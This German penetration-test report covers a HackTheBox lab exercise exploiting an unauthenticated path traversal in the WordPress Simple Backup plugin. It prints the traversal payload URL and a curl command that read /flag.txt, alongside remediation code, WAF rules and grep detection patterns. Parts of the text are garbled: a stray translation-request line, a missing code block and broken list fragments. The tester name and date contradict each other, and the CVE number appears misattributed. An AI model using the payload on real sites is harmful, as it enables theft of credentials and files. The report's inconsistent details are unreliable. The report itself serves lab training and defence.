
Detaillierter Penetrationstest-Bericht, der nicht authentifiziertes Path Traversal (CVE-2019-11447) im WordPress Simple Backup Plugin demonstriert, einschließlich Exploit-Schritten, Auswirkungsanalyse und Abhilfe-Empfehlungen.
| Element | Details |
|---|
| Dokumenttitel | Penetrationstest-Bericht - WordPress Path Traversal |
| Kunde/Prüfung | HackTheBox Lab - CPTS Exercise 1 |
| Datum | 22. August 2026 |
| Prüfer | Cyberia (Penetrationstester) |
| Prüfungsart | Gray Box (extern, ohne Zugangsdaten) |
| Lab-Umgebung | 154.57.164.73:30706 |
| Lab-Dauer | 1 Stunde |
| Ziele | Schwachstellen identifizieren und ausnutzen, um geschützte Dateien abzurufen |
| Erhaltene Flag | HTB{my_f1r57_h4ck} |
Im Rahmen dieses Penetrationstests der Webanwendung, die auf 154.57.164.73:30706 gehostet wird, wurde eine kritische Schwachstelle identifiziert, die es nicht authentifizierten Angreifern ermöglicht, beliebige Dateien vom Dateisystem des Servers herunterzuladen und zu lesen.
Die verwundbare WordPress-Installation enthält ein veraltetes Plugin (Simple Backup v2.7.10) mit einer Path-Traversal-Schwachstelle (CVE-2019-11447), die unbefugten Dateizugriff ohne Authentifizierung oder Autorisierung ermöglicht.
Diese Schwachstelle wurde erfolgreich ausgenutzt, um die Datei /flag.txt aus dem Server-Stammverzeichnis abzurufen, was die vollständige Kompromittierung der Vertraulichkeit bestätigt. Ein Angreifer mit diesem Zugriff könnte:
wp-config.php, .env)Es sind sofortige kritische Maßnahmen zur Behebung dieser Schwachstelle erforderlich, da sie ein extremes Risiko für die Datensicherheit, die Einhaltung von Datenschutzvorschriften (DSGVO, HIPAA, PCI-DSS) und die Systemintegrität darstellt.
| Schweregrad | Anzahl | Geschäftsauswirkung |
|---|---|---|
| 🔴 KRITISCH | 1 | Vollständige Verletzung der Vertraulichkeit; unbefugter Dateizugriff |
| 🟠 HOCH | 0 | — |
| 🟡 MITTEL | 0 | — |
| 🟢 NIEDRIG | 0 | — |
| ℹ️ INFORMATIV | 1 | Veraltete Softwareversionen erkannt |
Prüfungsart: Gray Box (externer Angreifer, keine Zugangsdaten bereitgestellt, Netzwerkzugriff verfügbar)
Prüfungstermine: 22. August 2026
Testansatz: Nicht-evasive, methodische Prüfung gemäß dem branchenüblichen Penetrationstest-Framework (PTES):
CVE-2019-11447 | CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Das WordPress-Plugin Simple Backup (Version 2.7.10/2.7.11, Exploit-DB 39883) enthält eine Path-Traversal-Schwachstelle auf seiner Admin-Seite „Backup Manager". Das Plugin bereinigt den über den GET-Parameter download_backup_file übermittelten Dateipfad nicht, sodass ein Angreifer mithilfe relativer Pfadsequenzen (../) aus dem vorgesehenen Verzeichnis simple-backup/ ausbrechen und jede Datei herunterladen kann, die für den Webserver-Prozess lesbar ist — einschließlich Dateien im Stammverzeichnis des Dateisystems.
Der verwundbare Endpunkt:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager` leitet die Anfrage an den Admin-Seiten-Handler des Plugins weiter; `download_backup_file` ist der Parameter, den der Plugin-Code direkt ausliest und ohne Validierung in einen Dateisystempfad einfügt, wodurch Directory Traversal ermöglicht wird.
---
### CVSS v3.1-Score
**7.5 - HOCH** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **Angriffsvektor (AV):** Netzwerk
- **Angriffskomplexität (AC):** Niedrig
- **Erforderliche Berechtigungen (PR):** Keine
- **Benutzerinteraktion (UI):** Keine
- **Scope (S):** Unverändert
- **Vertraulichkeit (C):** Hoch
- **Integrität (I):** Keine
- **Verfügbarkeit (A):** Keine
---
### Geschäftsauswirkungen
**Vertraulichkeitsverletzung:** ⚠️ KRITISCH
Angreifer können jede Datei lesen, auf die der Webserver Zugriff hat, einschließlich:
| Datei | Auswirkung | Risikostufe |
|------|--------|------------|
| `/wp-config.php` | Datenbank-Anmeldedaten, Salts, Schlüssel | 🔴 KRITISCH |
| `/.env` | API-Schlüssel, Geheimnisse, Konfiguration | 🔴 KRITISCH |
| `/etc/passwd` | Benutzer-Enumeration, Systemmapping | 🟠 HOCH |
| SSH-Schlüssel (`.ssh/id_rsa`) | Lateral Movement, Systemzugriff | 🔴 KRITISCH |
| `/proc/self/environ` | Geheimnisse der laufenden Anwendung | 🟠 HOCH |
| Benutzer-Upload-Verzeichnis | Private Dateien, Medien | 🟠 HOCH |
**Regulatorische Auswirkungen:**
- **GDPR-Verstoß:** Unbefugter Zugriff auf Benutzerdaten
- **HIPAA-Verstoß:** Offenlegung geschützter Gesundheitsinformationen
- **PCI-DSS-Verstoß:** Zugriff auf Kreditkartendaten oder Zahlungsinformationen
- **SOC-2-Verstoß:** Verstoß gegen die Vertraulichkeitsanforderung
---
### Verwundbares Code-Muster
Das Exploit-DB-Advisory (39883.txt, gelesen über `searchsploit -x` — siehe [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) dokumentiert die **Delete-Primitive** des Plugins aus `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
Bitte fügen Sie den zu übersetzenden Markdown-Text ein.```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);
`$filename` stammt direkt aus `$_GET['delete_backup_file']`, ohne `basename()` oder eine Prüfung der Pfadbegrenzung. Die Übergabe von `../pizza.txt` löst `$bk_dir . $filename` zu `.../simple-backup/../pizza.txt` → `.../pizza.txt` auf und verlässt damit den vorgesehenen Backup-Ordner.
Die **Download**-Primitive, die bei diesem Einsatz tatsächlich ausgenutzt wurde (`download_backup_file`), folgt exakt demselben unbereinigten Verkettungsmuster im selben Plugin, gibt die Datei jedoch an den Anforderer zurück, anstatt sie zu löschen – was den Abruf von `/flag.txt` aus dem Dateisystemstamm (10× `../` von `ABSPATH/simple-backup/`) ermöglichte.
**Das Problem:**
- Keine Verwendung von `basename()`, um Verzeichniskomponenten zu entfernen
- Keine Whitelist zulässiger Dateien
- Keine Validierung, dass `realpath()` innerhalb von `ABSPATH."simple-backup/"` bleibt
- Direkte Verkettung von Benutzereingaben in den Dateipfad
- Keine `current_user_can()`- / Authentifizierungsprüfung, bevor die Datei ausgeliefert wird – der Handler läuft beim Laden des Plugins, vor WordPress' eigener `wp-admin`-Authentifizierungskontrolle, und ist daher **ohne Anmeldung** erreichbar
---
### Proof of Concept
#### **Phase 1: Erster Zugriff — Anwendungsidentifikation**
Direkt per Browser mit dem Ziel verbunden (`http://154.57.164.73:30706/`). Die WordPress-Installation trägt den Titel **"GETTING STARTED"**, und ein öffentlicher Blogbeitrag auf der Startseite gibt den genauen Plugin-Namen und die Version im Klartext preis: **"Simple Backup Plugin 2.7.10 for WordPress"** — es war nicht einmal ein Enumerationstool erforderlich, um die angreifbare Komponente zu identifizieren.

#### **Phase 2: Service-Fingerprinting**```bash
whatweb http://154.57.164.73:30706/
Ergebnis: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 über MetaGenerator- und WordPress-Plugin-Signaturen bestätigt.

searchsploit simple backup wordpress
**Ergebnis:**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

Lesen des vollständigen Advisories, um die genauen anfälligen Parameter und den Codepfad zu verstehen:```bash searchsploit -x php/webapps/39883.txt
Das Advisory dokumentiert eine nicht authentifizierte **Beliebige Dateilöschung** über den Parameter `delete_backup_file` und weist darauf hin, dass Sicherungsdateien unter `simple-backup/` (und, über denselben nicht bereinigten Codepfad, beliebige Dateien über `download_backup_file`) ohne Authentifizierung abgerufen werden können.

#### **Phase 4: Exploitation — Pfad-Traversal über `download_backup_file`**
Der verwundbare Endpunkt wurde anhand des Routings der Admin-Seite des Plugins identifiziert:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
Exploit-Payload (10× ../, um vom ABSPATH/simple-backup/ zurück zum Dateisystem-Root zu gelangen):```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**GUI (in dieser Bewertung verwendet):** Die Payload-URL wurde direkt in der Adressleiste des Browsers aufgerufen. Kein Login war erforderlich — der Browser löste einen automatischen Dateidownload der aufgelösten `flag.txt` aus.

**Headless-Äquivalent:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
Flagge erhalten: HTB{my_f1r57_h4ck}
Die Schwachstelle funktioniert, weil:
$_GET['download_backup_file'] wird nicht gegen eine Whitelist geprüftrealpath() wird nicht verwendet, um zu prüfen, dass die Datei innerhalb von simple-backup/ bleibt../) werden nicht gefiltertABSPATH."simple-backup/" angehängtwp-admin-Authentifizierungs-Gate von WordPress — auch im abgemeldeten Zustand erreichbarcurrent_user_can()-Prüfung bestätigt, dass der Anforderer auf die angeforderte Datei zugreifen darfAngriffsablauf:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### Auswirkungsvalidierung
✅ **Vertraulichkeit kompromittiert:** Jede Datei, die der Webserver-Prozess lesen kann, ist zugänglich
✅ **Keine Authentifizierung erforderlich:** Nicht authentifizierte Benutzer können die Schwachstelle ausnutzen
✅ **Keine Benutzerinteraktion erforderlich:** Ausnutzung durch eine direkte HTTP-Anfrage
✅ **Wiederholbar & zuverlässig:** Funktioniert auf allen verwundbaren Versionen
✅ **Kritische Geschäftsdaten gefährdet:** Konfigurationsdateien, Zugangsdaten und Benutzerdaten sind offengelegt
---
## Behebung
### **Option 1: Eingabe-Whitelist (Empfohlen)**
Erlauben Sie Downloads nur aus einer vordefinierten Liste von Dateien:```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Vorteile:
Verwenden Sie realpath(), um Pfade zu kanonisieren und zu prüfen, ob sie innerhalb des erlaubten Verzeichnisses liegen:```php
**Vorteile:**
- Behandelt Symlinks und komplexe Pfade
- Überprüft automatisch, dass der Pfad im erlaubten Verzeichnis enthalten ist
- Flexibler als eine Whitelist
---
### **Option 3: basename() nur für den Dateinamen verwenden**
Nur die Dateinamenskomponente extrahieren:```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Vorteile:
Hinweis: Dieser Ansatz funktioniert nur, wenn sich alle legitimen Dateien in einem einzigen Verzeichnis ohne Unterverzeichnisse befinden.
Web Application Firewall (WAF)-Regeln:```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**Dateisystemberechtigungen:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
Zugriffsprotokollierung & -überwachung:```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**Update-Verwaltung:**
1. Deaktiviere oder entferne das Simple Backup Plugin
2. Installiere eine genehmigte Backup-Lösung mit Sicherheitsaudit
3. Aktualisiere WordPress auf die neueste Version
4. Aktualisiere alle Plugins auf die neuesten Versionen
5. Aktualisiere PHP auf 8.0+ mit Sicherheitspatches
---
## Angriffskette```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
Im WordPress-Plugin Simple Backup existiert eine kritische Path-Traversal-Schwachstelle, die es nicht authentifizierten Angreifern ermöglicht, beliebige Dateien vom Server herunterzuladen und zu lesen. Diese Schwachstelle wurde erfolgreich ausgenutzt, um vertrauliche Dateien aus dem Web-Root-Verzeichnis abzurufen.
Risikostufe: 🔴 KRITISCH
| Priorität | Maßnahme | Zeitrahmen | Verantwortlich |
|---|---|---|---|
| 🔴 P0 | Simple-Backup-Plugin deaktivieren/entfernen | Sofort | Security/Ops |
| 🔴 P0 | Whitelist-basierte Dateivalidierung implementieren | Diese Woche | Entwicklung |
| 🟠 P1 | WAF-Regeln zur Blockierung von Path Traversal bereitstellen | Diese Woche | Ops |
| 🟠 P1 | Server auf unbefugte Zugriffsprotokolle prüfen | Diese Woche | Security |
| 🟠 P1 | Alle offengelegten Anmeldedaten rotieren (DB, SSH, API) | Diese Woche | Ops |
| 🟡 P2 | WordPress-Kern und alle Plugins aktualisieren | Diese Woche | Ops |
| 🟡 P2 | Dateiintegritätsüberwachung implementieren | Nächster Sprint | Security |
| 🟡 P2 | Vollständiges Sicherheitsaudit weiterer Plugins durchführen | Nächster Sprint | Security |
Ergebnis: Die WordPress-Seite „GETTING STARTED" legt das installierte Plugin und die Version in einem Blogbeitrag öffentlich offen — „Simple Backup Plugin 2.7.10 for WordPress"
Ergebnis: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 bestätigt
Ergebnis: „WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities" (php/webapps/39883.txt)
Ergebnis: Das Advisory dokumentiert das nicht authentifizierte Löschen beliebiger Dateien über delete_backup_file; derselbe unbereinigte Codepfad gilt für download_backup_file
Ergebnis: Das Aufrufen von tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt löst einen nicht authentifizierten Download von flag.txt aus: HTB{my_f1r57_h4ck}
CVE-2019-11447 — Simple Backup Path Traversal
CWE-22 — Unzureichende Begrenzung eines Pfadnamens auf ein eingeschränktes Verzeichnis ('Path Traversal')
CVSS v3.1-Score: 7.5 (Hoch)
OWASP Top 10 - A01:2021 Broken Access Control
OWASP Path Traversal
PortSwigger Web Security Academy - Path Traversal
SearchSploit — Exploit-Datenbank-Suche
NMAP — Netzwerkscanner
WhatWeb — Web-Fingerprinting-Tool
Dieser Bericht dokumentiert einen Penetrationstest, der mit entsprechender Autorisierung und innerhalb des definierten Umfangs durchgeführt wurde.
| Posten | Wert |
|---|---|
| Berichtsstatus | ✅ Vollständig |
| Ergebnisse verifiziert | ✅ Ja |
| Empfehlungen umsetzbar | ✅ Ja |
| Vertraulichkeit | 🔒 Hoch |
| Verteilung | Nur für autorisiertes Personal |
Prüfer: Capivara Root (Penetrationstester)
Datum: 11. August 2026
Unterschrift: Digitaler Bericht - Keine physische Unterschrift erforderlich
© 2026 Penetrationstest-Bewertung | Vertraulich